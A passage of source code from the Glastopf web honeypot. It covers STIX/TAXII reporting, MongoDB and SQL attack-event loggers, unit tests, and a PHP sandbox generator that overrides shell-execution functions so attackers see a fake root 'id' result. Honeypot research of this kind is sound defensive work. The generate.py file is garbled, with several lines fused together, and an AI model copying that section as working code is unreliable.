56 | elif self.config.getboolean('taxii', 'use_auth_basic') and self.config.getboolean('taxii', 'use_auth_certificate'): 57 | self.client.setAuthType(tc.HttpClient.AUTH_CERT_BASIC) 58 | else: 59 | self.client.setAuthType(tc.HttpClient.AUTH_NONE) 60 | 61 | self.stix_transformer = StixTransformer(self.config, data_dir) 62 | 63 | def insert(self, event): 64 | # converts from conpot log format to STIX compatible xml 65 | stix_package = self.stix_transformer.transform(event) 66 | 67 | # wrapping the stix message in a TAXII envelope 68 | bytestream = bytes(bytearray(stix_package, encoding='utf-8')) 69 | content_block = ContentBlock(libtaxii.CB_STIX_XML_10, bytestream) 70 | 71 | inbox_message = InboxMessage(message_id=generate_message_id(), content_blocks=[content_block]) 72 | inbox_xml = inbox_message.to_xml() 73 | 74 | # the actual call to the TAXII web service 75 | response = self.client.callTaxiiService2(self.host, self.inbox_path, libtaxii.VID_TAXII_XML_11, inbox_xml, self.port) 76 | response_message = libtaxii.get_message_from_http_response(response, '0') 77 | 78 | if response_message.status_type != libtaxii.messages.ST_SUCCESS: 79 | logger.error('Error while transmitting message to TAXII server: {0}'.format(response_message.status_detail)) 80 | return False 81 | else: 82 | return True 83 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/auxiliary/stix/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/reporting/auxiliary/stix/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/reporting/main/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/modules/reporting/main/__init__.py -------------------------------------------------------------------------------- /glastopf/modules/reporting/main/log_mongodb.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import logging 19 | import warnings 20 | 21 | logger = logging.getLogger(__name__) 22 | 23 | try: 24 | from pymongo import MongoClient, uri_parser 25 | except ImportError: 26 | MongoClient, uri_parser = None, None 27 | logger.warn('Unable to import module pymongo') 28 | 29 | 30 | class Database(object): 31 | def __init__(self, connection_string): 32 | 33 | uri_dict = uri_parser.parse_uri(connection_string) 34 | if not uri_dict['database']: 35 | raise Exception("Invalid Mongo URI. Database name must be specified.") 36 | 37 | try: 38 | with warnings.catch_warnings(record=True): 39 | client = MongoClient(connection_string) 40 | self.db = client[uri_dict['database']] 41 | except: 42 | logger.exception("Unable to connect to MongoDB service.") 43 | raise 44 | 45 | def insert(self, attack_event): 46 | self.db["events"].insert(attack_event.event_dict()) 47 | 48 | # TODO: add support for mongo in the log_profiler 49 | def insert_profile(self, ip_profile): 50 | pass 51 | 52 | def update_db(self): 53 | pass 54 | 55 | def get_profile(self, source_ip): 56 | pass 57 | -------------------------------------------------------------------------------- /glastopf/modules/reporting/main/log_sql.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | #import json 19 | import logging 20 | 21 | from sqlalchemy import Table, Column, Integer, String, MetaData, TEXT, Boolean 22 | from sqlalchemy.orm import sessionmaker 23 | from sqlalchemy import exc 24 | import glastopf.modules.processing.ip_profile as ipp 25 | 26 | logger = logging.getLogger(__name__) 27 | 28 | 29 | class Database(object): 30 | def __init__(self, engine): 31 | self.engine = engine 32 | ipp.Base.metadata.create_all(self.engine) 33 | self.setup_mapping() 34 | self.session = sessionmaker(bind=self.engine)() 35 | 36 | def insert(self, attack_event): 37 | entry = attack_event.event_dict() 38 | 39 | entry['source'] = (entry['source'][0] + ":" + str(entry['source'][1])) 40 | 41 | try: 42 | conn = self.engine.connect() 43 | conn.execute(self.events_table.insert(entry)) 44 | except exc.OperationalError as e: 45 | logger.error("Error inserting attack event into main database: {0}".format(e)) 46 | 47 | def insert_profile(self, ip_profile): 48 | # print "last_event_time for ip %s:%s"%( 49 | # ip_profile.ip, ip_profile.last_event_time) 50 | # .split()[0] is added to deal with multiple ASNs 51 | self.session.add(ip_profile) 52 | try: 53 | self.session.commit() 54 | except exc.OperationalError as e: 55 | self.session.rollback() 56 | logger.error("Error inserting profile into main database: {0}".format(e)) 57 | 58 | def update_db(self): 59 | try: 60 | self.session.commit() 61 | except exc.OperationalError as e: 62 | self.session.rollback() 63 | logger.error("Error updating profile in main database: {0}".format(e)) 64 | 65 | def get_profile(self, source_ip): 66 | ip_profile = self.session.query(ipp.IPProfile).filter( 67 | ipp.IPProfile.ip == source_ip).first() 68 | return ip_profile 69 | 70 | def setup_mapping(self): 71 | meta = MetaData() 72 | self.events_table = Table( 73 | 'events', meta, 74 | Column('id', Integer, primary_key=True, ), 75 | Column('time', String(30)), 76 | Column('source', String(30)), 77 | Column('request_url', String(500)), 78 | Column('request_raw', TEXT), 79 | Column('pattern', String(20)), 80 | Column('filename', String(500)), 81 | Column('file_sha256', String(500)), 82 | Column('version', String(10)), 83 | Column('sensorid', String(36)), 84 | Column('known_file', Boolean()) 85 | ) 86 | #only creates if it cant find the schema 87 | meta.create_all(self.engine) 88 | -------------------------------------------------------------------------------- /glastopf/sandbox/Makefile: -------------------------------------------------------------------------------- 1 | out = ./sandbox.php 2 | all: sandbox.php 3 | 4 | sandbox.php: generate.py 5 | python generate.py > $(out) 6 | -------------------------------------------------------------------------------- /glastopf/sandbox/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/sandbox/__init__.py -------------------------------------------------------------------------------- /glastopf/sandbox/generate.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | import random 18 | 19 | import functions 20 | 21 | 22 | FUNCTIONS = functions.FUNCTIONS 23 | WHITELIST = functions.WHITELIST 24 | 25 | print(" "%s",' % (i, function)) 35 | print(");") 36 | 37 | print("$functions = array_diff($functions, $whitelist);\n") 38 | 39 | print("foreach ($functions as $function){") 40 | print("\t$rand_int = rand(100,999);") 41 | print("\trename_function($function, $function.'_'.$rand_int);") 42 | print("}\n") 43 | 44 | seed_int = 0 45 | for function, return_val in FUNCTIONS.items(): 46 | parts = function.split(";") 47 | function_name = parts[0] 48 | function_args = ", ".join(parts[1:-1]) 49 | rand_int = random.randint(100, 999) 50 | print("override_function('%s', '%s', 'return %s_rep(%s);');" % ( 51 | function_name, function_args, function_name, function_args) 52 | ) 53 | print("function %s_rep(%s) {" % (function_name, function_args)) 54 | if return_val == "None": 55 | return_val = "\treturn;" 56 | print(return_val) 57 | #print("\terror_log(\"ret:%s(\" . join(', ', $args) . \")= \" . $result);" % function_name) 58 | print("}") 59 | print("rename_function('__overridden__', '%s');\n" % seed_int) 60 | seed_int += 1 61 | 62 | print("\ninclude $argv[1];\n?>") 63 | -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/sandbox/replacement/__init__.py -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/execute.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | function = """\tif ($cmd == 'id') { 20 | \t\t$ret = array('uid=0(root) gid=0(root) groups=0(root)',); 21 | \t} 22 | \telse { 23 | \t\t$ret = array('None',); 24 | \t}""" 25 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/getenv.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | function = """\t$ret = ""; 20 | \treturn $ret;""" 21 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/ini_get.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | function = """\tif ($varname == 'save_mode') { 20 | \t\t$ret = 'None'; 21 | \t} 22 | \telseif ($varname == 'disable_functions') { 23 | \t\t$ret = 'None'; 24 | \t} 25 | \telse { 26 | \t\t$ret = 'None'; 27 | \t}""" 28 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/passthru.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | function = """\tif ($cmd == 'id') { 20 | \t\t$ret = array('uid=0(root) gid=0(root) groups=0(root)',); 21 | \t} 22 | \telse { 23 | \t\t$ret = array('None',); 24 | \t}""" 25 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/popen.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | function = """\tif ($cmd == 'id') { 20 | \t\t$temp = tmpfile(); 21 | \t\tfwrite($temp, 'uid=0(root) gid=0(root) groups=0(root)'); 22 | \t\t$ret = $temp; 23 | \t} 24 | \telse { 25 | \t\t$ret = tmpfile(); 26 | \t} 27 | \treturn $ret;""" 28 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/shell_exec.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | function = """\tif ($cmd == 'id') { 20 | \t\t$ret = array('uid=0(root) gid=0(root) groups=0(root)',); 21 | \t} 22 | \telse { 23 | \t\t$ret = array('None',); 24 | \t} 25 | \treturn $ret;""" 26 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/replacement/system.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Lukas Rist 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 16 | 17 | 18 | def call(): 19 | # TODO: Make uptime dynamic 20 | function = """\tif ($cmd == 'id') { 21 | \t\t$ret = array('uid=0(root) gid=0(root) groups=0(root)',); 22 | \t} 23 | \telseif ($cmd == 'uptime') { 24 | \t\t$ret = array('16:12:55 up 152 days, 19:03, 0 user, load average: 0.02, 0.02, 0.03',); 25 | \t} 26 | \telse { 27 | \t\t$ret = array('None',); 28 | \t}""" 29 | return function -------------------------------------------------------------------------------- /glastopf/sandbox/sandbox.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Copyright (C) 2015 Lukas Rist 4 | # 5 | # This program is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU General Public License 7 | # as published by the Free Software Foundation; either version 2 8 | # of the License, or (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program; if not, write to the Free Software 17 | # Foundation, Inc., 18 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 19 | 20 | import os 21 | import logging 22 | 23 | from gevent import Timeout 24 | import gevent.subprocess 25 | 26 | 27 | logger = logging.getLogger(__name__) 28 | 29 | 30 | def sandbox(script, secs, data_dir): 31 | proc = None 32 | stdout_value = "" 33 | try: 34 | proc = gevent.subprocess.Popen( 35 | ["php", os.path.join(data_dir, "sandbox.php"), os.path.join(data_dir, "files", script)], 36 | shell=False, 37 | stdin=gevent.subprocess.PIPE, 38 | stdout=gevent.subprocess.PIPE, 39 | stderr=gevent.subprocess.PIPE, 40 | ) 41 | except Exception as e: 42 | logger.exception("Error executing the sandbox:".format(e)) 43 | try: 44 | with Timeout(secs, False): 45 | if proc: 46 | stdout_value, stderr_value = proc.communicate() 47 | except Exception as e: 48 | logger.exception("Sandbox communication error:".format(e)) 49 | else: 50 | logger.info("File successfully parsed with sandbox.") 51 | return stdout_value 52 | 53 | 54 | def run(script, data_dir): 55 | secs = 10 56 | return sandbox(script, secs, data_dir) 57 | -------------------------------------------------------------------------------- /glastopf/testing/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/testing/__init__.py -------------------------------------------------------------------------------- /glastopf/testing/data/events_500.bson: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mushorg/glastopf/80049d4bd74640a4095984b06bda503d6a4b5ee7/glastopf/testing/data/events_500.bson -------------------------------------------------------------------------------- /glastopf/testing/test_hpfeeds.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import unittest 19 | import os 20 | import tempfile 21 | import shutil 22 | 23 | import gevent 24 | import helpers 25 | import glastopf.modules.events.attack as attack 26 | from glastopf.modules.reporting.auxiliary.log_hpfeeds import HPFeedsLogger 27 | from glastopf.modules.HTTP.handler import HTTPHandler 28 | 29 | 30 | class TestLoggers(unittest.TestCase): 31 | 32 | def setUp(self): 33 | self.tmpdir = tempfile.mkdtemp() 34 | self.files_dir = os.path.join(self.tmpdir, 'files') 35 | os.mkdir(self.files_dir) 36 | 37 | def tearDown(self): 38 | if os.path.isdir(self.tmpdir): 39 | shutil.rmtree(self.tmpdir) 40 | 41 | @unittest.skip('disabled until honeycloud up and running again') 42 | def test_hpfeeds_event(self): 43 | """Objective: Testing if a basic event can be transmitted using hpfriends.""" 44 | 45 | config_file = tempfile.mkstemp()[1] 46 | with open(config_file, 'w') as f: 47 | f.writelines(helpers.gen_config('')) 48 | 49 | logger = HPFeedsLogger(self.tmpdir, os.getcwd(), config=config_file, reconnect=False) 50 | event = attack.AttackEvent() 51 | event.http_request = HTTPHandler('', None) 52 | event.raw_request = "GET /honeypot_test HTTP/1.1\r\nHost: honeypot\r\n\r\n" 53 | logger.insert(event) 54 | gevent.sleep(2) 55 | # if None we did not connect 56 | self.assertIsNotNone(logger.hpc.wait) 57 | error_message = logger.hpc.wait(2) 58 | self.assertIsNone(error_message) 59 | 60 | @unittest.skip('disabled until honeycloud up and running again') 61 | def test_hpfeeds_event_with_file(self): 62 | """Objective: Testing if a event containing a file can be transmitted using hpfriends.""" 63 | 64 | config_file = tempfile.mkstemp()[1] 65 | with open(config_file, 'w') as f: 66 | f.writelines(helpers.gen_config('')) 67 | 68 | #create dummy file 69 | file_name = 'dummy_file' 70 | with open(os.path.join(self.files_dir, file_name), 'w') as f: 71 | f.write('test_test_test_test_test') 72 | 73 | logger = HPFeedsLogger(self.tmpdir, os.getcwd(), config_file, reconnect=False) 74 | event = attack.AttackEvent() 75 | event.http_request = HTTPHandler('', None) 76 | event.raw_request = "GET /honeypot_test HTTP/1.1\r\nHost: honeypot\r\n\r\n" 77 | event.file_name = file_name 78 | logger.insert(event) 79 | gevent.sleep(2) 80 | # if None we did not connect 81 | self.assertIsNotNone(logger.hpc.wait) 82 | error_message = logger.hpc.wait(2) 83 | self.assertIsNone(error_message) 84 | 85 | 86 | if __name__ == '__main__': 87 | unittest.main() 88 | -------------------------------------------------------------------------------- /glastopf/testing/test_http_handler.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | 3 | from glastopf.modules.HTTP.handler import HTTPHandler, HTTPError 4 | 5 | 6 | class TestHTTPParsing(unittest.TestCase): 7 | """Tests the honeypots vulnerable string selection. 8 | We first start with the integration test and continue with unit tests""" 9 | 10 | def test_simple_get_request(self): 11 | """Test simple GET request""" 12 | http_handler = """GET /test HTTP/1.0\r\nUser-Agent: test\r\n\r\n""" 13 | http_parser = HTTPHandler(http_handler, None) 14 | self.assertTrue(http_parser.request_path == "/test") 15 | 16 | def test_get_request_with_encoded_space(self): 17 | """Test simple GET request with space url encoded in the request path""" 18 | request_with_spaces = """GET /pathwith%20spaces HTTP/1.0\r\nUser-Agent: test\r\n\r\n""" 19 | http_handler = HTTPHandler(request_with_spaces, None) 20 | self.assertTrue(http_handler.request_path == "/pathwith%20spaces") 21 | 22 | def test_get_request_with_space(self): 23 | """Test that a simple GET request with space in the request path fails""" 24 | request_with_spaces = """GET /path with spaces?param1=value1\r\nHTTP/1.0\r\nUser-Agent: test\r\n\r\n""" 25 | self.assertRaises(HTTPError, HTTPHandler, request_with_spaces, None) 26 | 27 | def test_parse_command(self): 28 | """ Test if the parser is able to extract the HTTP command (verb)""" 29 | get_request = """GET /test HTTP/1.0\r\nUser-Agent: test\r\n\r\n""" 30 | http_handler = HTTPHandler(get_request, None) 31 | self.assertTrue(http_handler.request_verb == "GET") 32 | 33 | def test_parse_version1(self): 34 | """ Test if the parser is able to extract the HTTP version""" 35 | get_request = """GET /test HTTP/1.0\r\nUser-Agent: test\r\n\r\n""" 36 | http_handler = HTTPHandler(get_request, None) 37 | self.assertTrue(http_handler.request_version == "HTTP/1.0") 38 | 39 | def test_parse_version2(self): 40 | """ Test if the http handler is able to customize the server version string. """ 41 | get_request = """GET /test HTTP/1.0\r\nUser-Agent: test\r\n\r\n""" 42 | http_handler = HTTPHandler(get_request, None, server_version="LEET_Server/0.1", sys_version="LEET_OS/1.0") 43 | self.assertEqual("LEET_Server/0.1 LEET_OS/1.0", http_handler.version_string()) 44 | 45 | def test_put_method(self): 46 | http_handler = HTTPHandler('PUT / HTTP/1.0', None) 47 | self.assertTrue(http_handler.request_verb == "PUT") 48 | 49 | def test_get_method(self): 50 | http_handler = HTTPHandler('GET / HTTP/1.0', None) 51 | self.assertTrue(http_handler.request_verb == "GET") 52 | 53 | def test_post_method(self): 54 | http_handler = HTTPHandler('POST / HTTP/1.0', None) 55 | self.assertTrue(http_handler.request_verb == "POST") 56 | 57 | def test_head_method(self): 58 | http_handler = HTTPHandler('HEAD / HTTP/1.0', None) 59 | self.assertTrue(http_handler.request_verb == "HEAD") 60 | 61 | def test_trace_method(self): 62 | http_handler = HTTPHandler('TRACE / HTTP/1.0', None) 63 | self.assertTrue(http_handler.request_verb == "TRACE") 64 | 65 | def test_options_method(self): 66 | http_handler = HTTPHandler('OPTIONS / HTTP/1.0', None) 67 | self.assertTrue(http_handler.request_verb == "OPTIONS") 68 | 69 | 70 | if __name__ == '__main__': 71 | unittest.main() 72 | -------------------------------------------------------------------------------- /glastopf/testing/test_mnemosyne.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import unittest 19 | 20 | from glastopf.modules.handlers.emulators.dork_list import mnem_service 21 | 22 | 23 | class TestMnemosyneService(unittest.TestCase): 24 | @unittest.skip("Mnemosyne service down until further notice") 25 | def test_extractions(self): 26 | """ 27 | Basic test to check if we can extract dorks from the mnemosyne dorks service. 28 | """ 29 | 30 | sut = mnem_service.Mnem_Service() 31 | dorks = sut.get_dorks(username='glastopf_test', password='glastopf_test', limit=10) 32 | self.assertTrue(len(dorks) > 0) 33 | 34 | @unittest.skip("Mnemosyne service down until further notice") 35 | def test_error_login(self): 36 | """ 37 | Test if we fail soft on login errors. 38 | The mnemosyne module is designed to return an empty list on errors. 39 | """ 40 | 41 | #using wrong username/pass to simulate an error 42 | sut = mnem_service.Mnem_Service() 43 | dorks = sut.get_dorks(username='glastopf_test_invalid', password='glastopf_test_invalid') 44 | self.assertTrue(len(dorks) == 0) 45 | 46 | 47 | if __name__ == '__main__': 48 | unittest.main() 49 | -------------------------------------------------------------------------------- /glastopf/testing/test_reporting_main_mongo.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import unittest 19 | import warnings 20 | from datetime import datetime 21 | 22 | from glastopf.modules.reporting.main import log_mongodb 23 | from pymongo import MongoClient, uri_parser 24 | import glastopf.modules.events.attack as attack 25 | from glastopf.modules.HTTP.handler import HTTPHandler 26 | from glastopf.testing import helpers 27 | 28 | 29 | class TestMongoMainDatbase(unittest.TestCase): 30 | @unittest.skip('disabled until mongodb is a real database') 31 | def test_mongodb_insert(self): 32 | 33 | conn_string = helpers.create_mongo_database(fill=False) 34 | 35 | db_name = uri_parser.parse_uri(conn_string)["database"] 36 | 37 | try: 38 | maindb = log_mongodb.Database(conn_string) 39 | 40 | attack_event = attack.AttackEvent() 41 | attack_event.event_time = self.event_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 42 | attack_event.matched_pattern = "test_test" 43 | attack_event.source_addr = ("192.168.1.201", 12345) 44 | request = ("GET /breadandbytter.php?a=b HTTP/1.0\r\n" 45 | "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n" 46 | "ISO-8859-1,utf-8;q=0.7,*;q=0.3r\n" 47 | "Connection: keep-alive\r\n\r\n" 48 | "some stuff") 49 | attack_event.http_request = HTTPHandler(request, None) 50 | 51 | maindb.insert(attack_event) 52 | 53 | with warnings.catch_warnings(record=True): 54 | collection = MongoClient(conn_string)[db_name]["events"] 55 | results = list(collection.find()) 56 | 57 | #Check if database returned the correct amount 58 | self.assertEqual(len(list(results)), 1) 59 | 60 | entry = results[0] 61 | 62 | self.assertEqual(entry["source"][0], "192.168.1.201") 63 | self.assertEqual(entry["source"][1], 12345) 64 | self.assertEqual(entry["pattern"], "test_test") 65 | self.assertEqual(entry["request_raw"], request) 66 | self.assertEqual(entry["request_url"], "/breadandbytter.php?a=b") 67 | 68 | finally: 69 | helpers.delete_mongo_testdata(conn_string) 70 | 71 | 72 | if __name__ == '__main__': 73 | unittest.main() 74 | -------------------------------------------------------------------------------- /glastopf/testing/test_reporting_main_sqla.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2015 Johnny Vestergaard 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License 5 | # as published by the Free Software Foundation; either version 2 6 | # of the License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 16 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 17 | 18 | import unittest 19 | from datetime import datetime 20 | 21 | from glastopf.modules.reporting.main import log_sql 22 | from sqlalchemy import create_engine 23 | 24 | import glastopf.modules.events.attack as attack 25 | from glastopf.modules.HTTP.handler import HTTPHandler 26 | 27 | 28 | class 